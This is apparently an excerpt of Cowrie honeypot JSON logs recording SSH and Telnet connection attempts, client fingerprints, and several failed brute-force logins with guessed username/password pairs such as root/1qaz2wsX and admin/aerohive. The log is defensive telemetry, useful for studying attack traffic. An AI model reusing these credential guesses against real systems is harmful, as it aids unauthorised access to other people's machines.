{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:05:17.141666Z","src_ip":"103.176.20.115","session":"42d8b8781818","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":59600,"dst_ip":"10.17.0.5","dst_port":23,"session":"5180e19792b9","protocol":"telnet","message":"New connection: 65.60.27.33:59600 (10.17.0.5:23) [session: 5180e19792b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:05:17.807810Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsX","message":"login attempt [root/1qaz2wsX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:05:18.217622Z","src_ip":"103.176.20.115","session":"42d8b8781818","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.056774854660034,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:05:18.611073Z","src_ip":"38.54.119.93","session":"373a8e727c67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:05:19.496940Z","src_ip":"103.176.20.115","session":"42d8b8781818","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":49362,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ea25d7e1754","protocol":"telnet","message":"New connection: 38.54.119.93:49362 (10.17.0.5:23) [session: 1ea25d7e1754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:05:22.783513Z"}
{"eventid":"cowrie.session.closed","duration":40.59215211868286,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:05:26.584900Z","src_ip":"38.54.119.93","session":"32a21179fd58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.162.42","src_port":57764,"dst_ip":"10.17.0.5","dst_port":22,"session":"64612164b08f","protocol":"ssh","message":"New connection: 152.32.162.42:57764 (10.17.0.5:22) [session: 64612164b08f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:05:34.917598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:05:34.923271Z","src_ip":"152.32.162.42","session":"64612164b08f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:05:35.184176Z","src_ip":"152.32.162.42","session":"64612164b08f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"Admin123","message":"login attempt [deploy/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:05:36.231157Z","src_ip":"152.32.162.42","session":"64612164b08f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:05:37.489829Z","src_ip":"152.32.162.42","session":"64612164b08f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":42656,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2e9c92da550","protocol":"ssh","message":"New connection: 60.199.224.2:42656 (159.203.135.109:22) [session: e2e9c92da550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:05:41.397981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:05:41.402275Z","src_ip":"60.199.224.2","session":"e2e9c92da550","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:05:41.599952Z","src_ip":"60.199.224.2","session":"e2e9c92da550","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1","message":"login attempt [user1/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:05:42.420846Z","src_ip":"60.199.224.2","session":"e2e9c92da550","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":33810,"dst_ip":"10.17.0.5","dst_port":23,"session":"90175d181fbd","protocol":"telnet","message":"New connection: 38.54.119.93:33810 (10.17.0.5:23) [session: 90175d181fbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:05:42.877258Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:05:43.623480Z","src_ip":"60.199.224.2","session":"e2e9c92da550","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":35482,"dst_ip":"10.17.0.5","dst_port":23,"session":"316ef88f14fe","protocol":"telnet","message":"New connection: 38.54.119.93:35482 (10.17.0.5:23) [session: 316ef88f14fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:05:45.771166Z"}
{"eventid":"cowrie.session.closed","duration":47.93077492713928,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:05:46.757629Z","src_ip":"38.54.119.93","session":"a6a238ffae66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.823470115661621,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:05:52.594503Z","src_ip":"38.54.119.93","session":"316ef88f14fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.43664288520813,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:05:53.244332Z","src_ip":"65.60.27.33","session":"5180e19792b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":43186,"dst_ip":"10.17.0.5","dst_port":23,"session":"acd740e3ea5b","protocol":"telnet","message":"New connection: 38.54.119.93:43186 (10.17.0.5:23) [session: acd740e3ea5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:05:59.038949Z"}
{"eventid":"cowrie.session.closed","duration":49.089436531066895,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:06:11.872849Z","src_ip":"38.54.119.93","session":"1ea25d7e1754","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":58740,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ca3aca703e5","protocol":"telnet","message":"New connection: 45.81.23.16:58740 (10.17.0.5:23) [session: 5ca3aca703e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:06:14.441177Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":47078,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a5287120480","protocol":"ssh","message":"New connection: 103.176.20.115:47078 (10.17.0.5:22) [session: 0a5287120480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:06:17.466100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:06:17.471124Z","src_ip":"103.176.20.115","session":"0a5287120480","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:06:17.731096Z","src_ip":"103.176.20.115","session":"0a5287120480","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.57.252.76","src_port":50150,"dst_ip":"10.17.0.5","dst_port":23,"session":"71af280b995c","protocol":"telnet","message":"New connection: 103.57.252.76:50150 (10.17.0.5:23) [session: 71af280b995c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:06:17.962849Z"}
{"eventid":"cowrie.login.failed","username":"centos","password":"123456","message":"login attempt [centos/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:06:18.801842Z","src_ip":"103.176.20.115","session":"0a5287120480","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":40990,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4985321ad53","protocol":"telnet","message":"New connection: 65.60.27.33:40990 (10.17.0.5:23) [session: b4985321ad53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:06:19.207089Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:06:20.065377Z","src_ip":"103.176.20.115","session":"0a5287120480","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.9426677227020264,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:06:21.149618Z","src_ip":"65.60.27.33","session":"b4985321ad53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.162.42","src_port":38642,"dst_ip":"10.17.0.5","dst_port":22,"session":"8905e4a94a07","protocol":"ssh","message":"New connection: 152.32.162.42:38642 (10.17.0.5:22) [session: 8905e4a94a07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:06:21.909770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:06:21.915633Z","src_ip":"152.32.162.42","session":"8905e4a94a07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:06:22.169216Z","src_ip":"152.32.162.42","session":"8905e4a94a07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"qweasd123","message":"login attempt [deploy/qweasd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:06:23.213803Z","src_ip":"152.32.162.42","session":"8905e4a94a07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:06:24.471388Z","src_ip":"152.32.162.42","session":"8905e4a94a07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.661266326904297,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:06:26.102390Z","src_ip":"45.81.23.16","session":"5ca3aca703e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00222849845886,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:06:27.348687Z","src_ip":"165.232.131.181","session":"e6f7312d8338","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.996552228927612,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:06:29.959272Z","src_ip":"103.57.252.76","session":"71af280b995c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00554323196411,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:06:34.860388Z","src_ip":"181.189.73.151","session":"0dc9ddc742bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00288391113281,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:06:36.615378Z","src_ip":"181.189.73.151","session":"91791b6a195a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.18861436843872,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:06:37.065741Z","src_ip":"38.54.119.93","session":"90175d181fbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00117230415344,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:06:37.181863Z","src_ip":"181.189.73.151","session":"92ae6a2902e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":42660,"dst_ip":"159.203.135.109","dst_port":22,"session":"33aa92ce9232","protocol":"ssh","message":"New connection: 60.199.224.2:42660 (159.203.135.109:22) [session: 33aa92ce9232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:06:37.548728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:06:37.553239Z","src_ip":"60.199.224.2","session":"33aa92ce9232","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.189.73.151","src_port":63245,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c236d3ad2c2","protocol":"telnet","message":"New connection: 181.189.73.151:63245 (10.17.0.5:23) [session: 2c236d3ad2c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:06:37.576629Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:06:37.753968Z","src_ip":"60.199.224.2","session":"33aa92ce9232","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"aerohive","message":"login attempt [admin/aerohive] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:06:38.587976Z","src_ip":"60.199.224.2","session":"33aa92ce9232","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:06:39.819906Z","src_ip":"60.199.224.2","session":"33aa92ce9232","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.389620304107666,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:06:50.428451Z","src_ip":"38.54.119.93","session":"acd740e3ea5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":46540,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b6d76f7ab74","protocol":"telnet","message":"New connection: 38.54.119.93:46540 (10.17.0.5:23) [session: 4b6d76f7ab74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:06:51.658461Z"}
{"eventid":"cowrie.session.closed","duration":7.346339464187622,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:06:59.004558Z","src_ip":"38.54.119.93","session":"4b6d76f7ab74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":56250,"dst_ip":"10.17.0.5","dst_port":23,"session":"9eed6fab8f2f","protocol":"telnet","message":"New connection: 65.60.27.33:56250 (10.17.0.5:23) [session: 9eed6fab8f2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:06:59.285155Z"}
